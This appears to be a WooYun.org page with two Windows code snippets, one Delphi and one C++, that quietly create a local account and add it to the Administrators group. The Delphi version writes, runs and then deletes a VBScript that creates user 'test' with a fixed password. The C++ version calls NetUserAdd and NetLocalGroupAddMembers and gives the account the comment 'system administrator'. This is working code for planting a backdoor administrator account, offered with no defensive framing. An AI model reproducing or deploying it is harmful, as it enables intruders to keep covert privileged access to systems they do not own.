WooYun.org

var
 f:textfile;
 begin
assignfile(f,'x.vbs');
rewrite(f);
writeln(f,'set wsnetwork=CreateObject("WSCRIPT.NETWORK")');
writeln(f,'os="WinNT://"&wsnetwork.ComputerName');
writeln(f,'Set ob=GetObject(os)');
writeln(f,'Set oe=GetObject(os&"/Administrators,group")');
writeln(f,'Set od=ob.Create("user","test")');
writeln(f,'od.SetPassword "gaimima"');
writeln(f,'od.SetInfo');
writeln(f,'Set of=GetObject(os&"/test",user)');
writeln(f,'oe.add os&"/test" ');
closefile(f);
//winexec('x.vbs', SW_HIDE);
ShellExecute(0,'open','x.vbs',nil,nil,sw_show);
application.MessageBox('user:test'+#13#10+'pass:gaimima','提示!',0);
deletefile('x.vbs');
end;

DWORD dwLevel = 1;
		USER_INFO_1 ui; 
		DWORD dwError = 0;
		USES_CONVERSION;
		LPWSTR name = A2W(m_netuser);
		LPWSTR pwd = A2W(m_netpass);
		LPWSTR Administrators = A2W(m_admin);
		ui.usri1_name =(WCHAR * )name;    //这个是要添加的用户名，可以自己改改
		ui.usri1_password =(WCHAR * )pwd;   //这个是用户密码，也可以自己改改
		ui.usri1_priv = USER_PRIV_USER; 
		ui.usri1_home_dir = NULL; //本地路劲
		ui.usri1_comment =L"系统管理员";// 描述
		ui.usri1_flags = UF_SCRIPT; 
		ui.usri1_script_path = NULL; //登陆脚本  
		NetUserAdd(NULL, 1, (LPBYTE)&ui, &dwError);
		wchar_t szAccountName[100]={0};
		wcscpy(szAccountName,ui.usri1_name); 
		LOCALGROUP_MEMBERS_INFO_3 account;
		account.lgrmi3_domainandname=szAccountName; 
		//添加到Administrators组
    	NetLocalGroupAddMembers(NULL,Administrators,3,(LPBYTE)&account,1);
		SetDlgItemText(IDC_Log,"添加成功.......");